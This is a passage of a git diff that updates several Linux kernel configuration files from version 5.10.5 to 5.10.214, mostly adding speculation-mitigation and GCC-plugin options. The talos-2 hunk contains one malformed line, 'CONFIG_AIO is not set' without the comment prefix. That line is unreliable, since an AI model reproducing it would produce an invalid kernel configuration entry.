is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + +CONFIG_LIB_MEMNEQ=y # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set diff --git a/config/linux-qemu.config b/config/linux-qemu.config index 113e0ae0a..e16a59171 100644 --- a/config/linux-qemu.config +++ b/config/linux-qemu.config @@ -1,12 +1,14 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 5.10.214 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y @@ -211,6 +213,7 @@ CONFIG_KALLSYMS_BASE_RELATIVE=y CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +# CONFIG_KCMP is not set CONFIG_RSEQ=y # CONFIG_DEBUG_RSEQ is not set CONFIG_EMBEDDED=y @@ -284,7 +287,6 @@ CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_X2APIC is not set # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -CONFIG_RETPOLINE=y # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -348,11 +350,10 @@ CONFIG_PERF_EVENTS_INTEL_CSTATE=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set CONFIG_MICROCODE=y CONFIG_MICROCODE_INTEL=y CONFIG_MICROCODE_AMD=y -# CONFIG_MICROCODE_OLD_INTERFACE is not set +# CONFIG_MICROCODE_LATE_LOADING is not set CONFIG_X86_MSR=y CONFIG_X86_CPUID=y # CONFIG_X86_5LEVEL is not set @@ -407,6 +408,16 @@ CONFIG_LEGACY_VSYSCALL_NONE=y CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_UNRET_ENTRY=y +CONFIG_CPU_IBPB_ENTRY=y +CONFIG_CPU_IBRS_ENTRY=y +CONFIG_CPU_SRSO=y +# CONFIG_GDS_FORCE_MITIGATION is not set CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y @@ -601,6 +612,7 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_HAVE_ASM_MODVERSIONS=y @@ -668,6 +680,10 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_CYC_COMPLEXITY is not set +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +# CONFIG_GCC_PLUGIN_RANDSTRUCT is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -808,6 +824,7 @@ CONFIG_SYN_COOKIES=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -829,7 +846,6 @@ CONFIG_DEFAULT_TCP_CONG="cubic" CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -1020,7 +1036,6 @@ CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set # CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 @@ -1035,6 +1050,7 @@ CONFIG_VIRTIO_BLK=y # # CONFIG_BLK_DEV_NVME is not set # CONFIG_NVME_FC is not set +# CONFIG_NVME_TCP is not set # CONFIG_NVME_TARGET is not set # end of NVME Support @@ -1394,7 +1410,6 @@ CONFIG_IGB=m # CONFIG_NETDEVSIM is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support @@ -1563,10 +1578,9 @@ CONFIG_TCG_TIS_ST33ZP24=y CONFIG_TCG_TIS_ST33ZP24_I2C=y # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1691,6 +1705,7 @@ CONFIG_POWER_SUPPLY=y # CONFIG_CHARGER_BQ2415X is not set # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y @@ -1783,7 +1798,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_SKY81452 is not set # CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y -# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1904,6 +1918,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2636,7 +2651,6 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y # CONFIG_INTEL_TXT is not set CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y @@ -2656,6 +2670,10 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization @@ -2832,18 +2850,6 @@ CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set CONFIG_CRYPTO_HASH_INFO=y - -# -# Crypto library routines -# -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y # CONFIG_CRYPTO_HW is not set # @@ -2868,6 +2874,21 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + +CONFIG_LIB_MEMNEQ=y # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set diff --git a/config/linux-t440p.config b/config/linux-t440p.config index 2ba0a56af..ab90c3126 100644 --- a/config/linux-t440p.config +++ b/config/linux-t440p.config @@ -1,12 +1,14 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 5.10.214 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y @@ -188,6 +190,7 @@ CONFIG_MEMBARRIER=y CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +# CONFIG_KCMP is not set # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -258,7 +261,6 @@ CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -# CONFIG_RETPOLINE is not set # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -320,7 +322,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -369,6 +370,12 @@ CONFIG_LEGACY_VSYSCALL_NONE=y CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +# CONFIG_RETPOLINE is not set +CONFIG_CPU_IBRS_ENTRY=y +# CONFIG_GDS_FORCE_MITIGATION is not set CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y @@ -561,6 +568,7 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_HAVE_ASM_MODVERSIONS=y @@ -613,6 +621,7 @@ CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y CONFIG_STRICT_MODULE_RWX=y CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y @@ -625,6 +634,10 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_CYC_COMPLEXITY is not set +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +# CONFIG_GCC_PLUGIN_RANDSTRUCT is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -759,6 +772,7 @@ CONFIG_INET=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -780,7 +794,6 @@ CONFIG_DEFAULT_TCP_CONG="cubic" CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -967,7 +980,6 @@ CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set # CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 @@ -981,6 +993,7 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # CONFIG_BLK_DEV_NVME is not set # CONFIG_NVME_FC is not set +# CONFIG_NVME_TCP is not set # end of NVME Support # @@ -1370,7 +1383,6 @@ CONFIG_USB_NET_CDC_SUBSET=m # CONFIG_FUJITSU_ES is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support @@ -1530,10 +1542,9 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1668,6 +1679,7 @@ CONFIG_POWER_SUPPLY=y # CONFIG_CHARGER_BQ2415X is not set # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y @@ -1758,7 +1770,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_SKY81452 is not set # CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y -# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1889,6 +1900,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2597,7 +2609,6 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y # CONFIG_INTEL_TXT is not set CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y @@ -2617,6 +2628,10 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization @@ -2793,18 +2808,6 @@ CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set CONFIG_CRYPTO_HASH_INFO=y - -# -# Crypto library routines -# -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y # CONFIG_CRYPTO_HW is not set # @@ -2829,6 +2832,21 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + +CONFIG_LIB_MEMNEQ=y # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set diff --git a/config/linux-talos-2.config b/config/linux-talos-2.config index 0aa3ac5b1..cee4cb742 100644 --- a/config/linux-talos-2.config +++ b/config/linux-talos-2.config @@ -162,7 +162,7 @@ CONFIG_SIGNALFD=y CONFIG_TIMERFD=y CONFIG_EVENTFD=y CONFIG_SHMEM=y -CONFIG_AIO=y +CONFIG_AIO is not set CONFIG_IO_URING=y CONFIG_ADVISE_SYSCALLS=y CONFIG_MEMBARRIER=y diff --git a/config/linux-w541.config b/config/linux-w541.config index 2ba0a56af..ab90c3126 100644 --- a/config/linux-w541.config +++ b/config/linux-w541.config @@ -1,12 +1,14 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 5.10.214 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y @@ -188,6 +190,7 @@ CONFIG_MEMBARRIER=y CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_USERFAULTFD is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +# CONFIG_KCMP is not set # CONFIG_RSEQ is not set CONFIG_EMBEDDED=y CONFIG_HAVE_PERF_EVENTS=y @@ -258,7 +261,6 @@ CONFIG_SMP=y CONFIG_X86_FEATURE_NAMES=y # CONFIG_X86_MPPARSE is not set # CONFIG_GOLDFISH is not set -# CONFIG_RETPOLINE is not set # CONFIG_X86_CPU_RESCTRL is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set @@ -320,7 +322,6 @@ CONFIG_X86_THERMAL_VECTOR=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y -# CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -369,6 +370,12 @@ CONFIG_LEGACY_VSYSCALL_NONE=y CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features +CONFIG_CC_HAS_RETURN_THUNK=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +# CONFIG_RETPOLINE is not set +CONFIG_CPU_IBRS_ENTRY=y +# CONFIG_GDS_FORCE_MITIGATION is not set CONFIG_ARCH_HAS_ADD_PAGES=y CONFIG_ARCH_ENABLE_MEMORY_HOTPLUG=y CONFIG_ARCH_ENABLE_SPLIT_PMD_PTLOCK=y @@ -561,6 +568,7 @@ CONFIG_GENERIC_SMP_IDLE_THREAD=y CONFIG_ARCH_HAS_FORTIFY_SOURCE=y CONFIG_ARCH_HAS_SET_MEMORY=y CONFIG_ARCH_HAS_SET_DIRECT_MAP=y +CONFIG_ARCH_HAS_CPU_FINALIZE_INIT=y CONFIG_HAVE_ARCH_THREAD_STRUCT_WHITELIST=y CONFIG_ARCH_WANTS_DYNAMIC_TASK_STRUCT=y CONFIG_HAVE_ASM_MODVERSIONS=y @@ -613,6 +621,7 @@ CONFIG_STRICT_KERNEL_RWX=y CONFIG_ARCH_HAS_STRICT_MODULE_RWX=y CONFIG_STRICT_MODULE_RWX=y CONFIG_HAVE_ARCH_PREL32_RELOCATIONS=y +CONFIG_ARCH_USE_MEMREMAP_PROT=y CONFIG_ARCH_HAS_MEM_ENCRYPT=y CONFIG_HAVE_STATIC_CALL=y CONFIG_HAVE_STATIC_CALL_INLINE=y @@ -625,6 +634,10 @@ CONFIG_ARCH_HAS_GCOV_PROFILE_ALL=y # end of GCOV-based kernel profiling CONFIG_HAVE_GCC_PLUGINS=y +CONFIG_GCC_PLUGINS=y +# CONFIG_GCC_PLUGIN_CYC_COMPLEXITY is not set +# CONFIG_GCC_PLUGIN_LATENT_ENTROPY is not set +# CONFIG_GCC_PLUGIN_RANDSTRUCT is not set # end of General architecture-dependent options CONFIG_RT_MUTEXES=y @@ -759,6 +772,7 @@ CONFIG_INET=y # CONFIG_INET_AH is not set # CONFIG_INET_ESP is not set # CONFIG_INET_IPCOMP is not set +CONFIG_INET_TABLE_PERTURB_ORDER=16 # CONFIG_INET_DIAG is not set # CONFIG_TCP_CONG_ADVANCED is not set CONFIG_TCP_CONG_CUBIC=y @@ -780,7 +794,6 @@ CONFIG_DEFAULT_TCP_CONG="cubic" CONFIG_HAVE_NET_DSA=y # CONFIG_NET_DSA is not set # CONFIG_VLAN_8021Q is not set -# CONFIG_DECNET is not set # CONFIG_LLC2 is not set # CONFIG_ATALK is not set # CONFIG_X25 is not set @@ -967,7 +980,6 @@ CONFIG_BLK_DEV_LOOP_MIN_COUNT=8 # CONFIG_BLK_DEV_DRBD is not set # CONFIG_BLK_DEV_NBD is not set # CONFIG_BLK_DEV_SKD is not set -# CONFIG_BLK_DEV_SX8 is not set CONFIG_BLK_DEV_RAM=y CONFIG_BLK_DEV_RAM_COUNT=16 CONFIG_BLK_DEV_RAM_SIZE=65536 @@ -981,6 +993,7 @@ CONFIG_BLK_DEV_RAM_SIZE=65536 # # CONFIG_BLK_DEV_NVME is not set # CONFIG_NVME_FC is not set +# CONFIG_NVME_TCP is not set # end of NVME Support # @@ -1370,7 +1383,6 @@ CONFIG_USB_NET_CDC_SUBSET=m # CONFIG_FUJITSU_ES is not set # CONFIG_NET_FAILOVER is not set # CONFIG_ISDN is not set -# CONFIG_NVM is not set # # Input device support @@ -1530,10 +1542,9 @@ CONFIG_TCG_TIS=y # CONFIG_TCG_TIS_ST33ZP24_I2C is not set # CONFIG_TELCLOCK is not set # CONFIG_XILLYBUS is not set -# end of Character devices - CONFIG_RANDOM_TRUST_CPU=y # CONFIG_RANDOM_TRUST_BOOTLOADER is not set +# end of Character devices # # I2C support @@ -1668,6 +1679,7 @@ CONFIG_POWER_SUPPLY=y # CONFIG_CHARGER_BQ2415X is not set # CONFIG_CHARGER_SMB347 is not set # CONFIG_BATTERY_GAUGE_LTC2941 is not set +# CONFIG_BATTERY_RT5033 is not set # CONFIG_CHARGER_BD99954 is not set # CONFIG_HWMON is not set CONFIG_THERMAL=y @@ -1758,7 +1770,6 @@ CONFIG_BCMA_POSSIBLE=y # CONFIG_MFD_SKY81452 is not set # CONFIG_ABX500_CORE is not set CONFIG_MFD_SYSCON=y -# CONFIG_MFD_TI_AM335X_TSCADC is not set # CONFIG_MFD_LP3943 is not set # CONFIG_MFD_LP8788 is not set # CONFIG_MFD_TI_LMU is not set @@ -1889,6 +1900,7 @@ CONFIG_DUMMY_CONSOLE=y CONFIG_DUMMY_CONSOLE_COLUMNS=80 CONFIG_DUMMY_CONSOLE_ROWS=25 CONFIG_FRAMEBUFFER_CONSOLE=y +# CONFIG_FRAMEBUFFER_CONSOLE_LEGACY_ACCELERATION is not set CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY=y # CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set # CONFIG_FRAMEBUFFER_CONSOLE_DEFERRED_TAKEOVER is not set @@ -2597,7 +2609,6 @@ CONFIG_IO_WQ=y # CONFIG_KEYS is not set # CONFIG_SECURITY_DMESG_RESTRICT is not set CONFIG_SECURITYFS=y -CONFIG_PAGE_TABLE_ISOLATION=y # CONFIG_INTEL_TXT is not set CONFIG_HAVE_HARDENED_USERCOPY_ALLOCATOR=y CONFIG_HARDENED_USERCOPY=y @@ -2617,6 +2628,10 @@ CONFIG_LSM="lockdown,yama,loadpin,safesetid,integrity,bpf" # Memory initialization # CONFIG_INIT_STACK_NONE=y +# CONFIG_GCC_PLUGIN_STRUCTLEAK_USER is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF is not set +# CONFIG_GCC_PLUGIN_STRUCTLEAK_BYREF_ALL is not set +# CONFIG_GCC_PLUGIN_STACKLEAK is not set # CONFIG_INIT_ON_ALLOC_DEFAULT_ON is not set # CONFIG_INIT_ON_FREE_DEFAULT_ON is not set # end of Memory initialization @@ -2793,18 +2808,6 @@ CONFIG_CRYPTO_USER_API_AEAD=y # CONFIG_CRYPTO_USER_API_ENABLE_OBSOLETE is not set # CONFIG_CRYPTO_STATS is not set CONFIG_CRYPTO_HASH_INFO=y - -# -# Crypto library routines -# -CONFIG_CRYPTO_LIB_AES=y -# CONFIG_CRYPTO_LIB_BLAKE2S is not set -# CONFIG_CRYPTO_LIB_CHACHA is not set -# CONFIG_CRYPTO_LIB_CURVE25519 is not set -CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 -# CONFIG_CRYPTO_LIB_POLY1305 is not set -# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set -CONFIG_CRYPTO_LIB_SHA256=y # CONFIG_CRYPTO_HW is not set # @@ -2829,6 +2832,21 @@ CONFIG_GENERIC_IOMAP=y CONFIG_ARCH_USE_CMPXCHG_LOCKREF=y CONFIG_ARCH_HAS_FAST_MULTIPLIER=y CONFIG_ARCH_USE_SYM_ANNOTATIONS=y + +# +# Crypto library routines +# +CONFIG_CRYPTO_LIB_AES=y +CONFIG_CRYPTO_LIB_BLAKE2S_GENERIC=y +# CONFIG_CRYPTO_LIB_CHACHA is not set +# CONFIG_CRYPTO_LIB_CURVE25519 is not set +CONFIG_CRYPTO_LIB_POLY1305_RSIZE=11 +# CONFIG_CRYPTO_LIB_POLY1305 is not set +# CONFIG_CRYPTO_LIB_CHACHA20POLY1305 is not set +CONFIG_CRYPTO_LIB_SHA256=y +# end of Crypto library routines + +CONFIG_LIB_MEMNEQ=y # CONFIG_CRC_CCITT is not set CONFIG_CRC16=y # CONFIG_CRC_T10DIF is not set diff --git a/config/linux-x230-flash.config b/config/linux-x230-flash.config index e5030ebc3..94aa7145e 100644 --- a/config/linux-x230-flash.config +++ b/config/linux-x230-flash.config @@ -1,12 +1,14 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 5.10.5 Kernel Configuration +# Linux/x86 5.10.214 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 8.3.0" CONFIG_CC_IS_GCC=y CONFIG_GCC_VERSION=80300 CONFIG_LD_VERSION=232000000 CONFIG_CLANG_VERSION=0 +CONFIG_AS_IS_GNU=y +CONFIG_AS_VERSION=23200 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y @@ -184,6 +186,7 @@ CONFIG_MEMBARRIER=y CONFIG_ARCH_WANT_DEFAULT_BPF_JIT=y # CONFIG_USERFAULTFD is not set 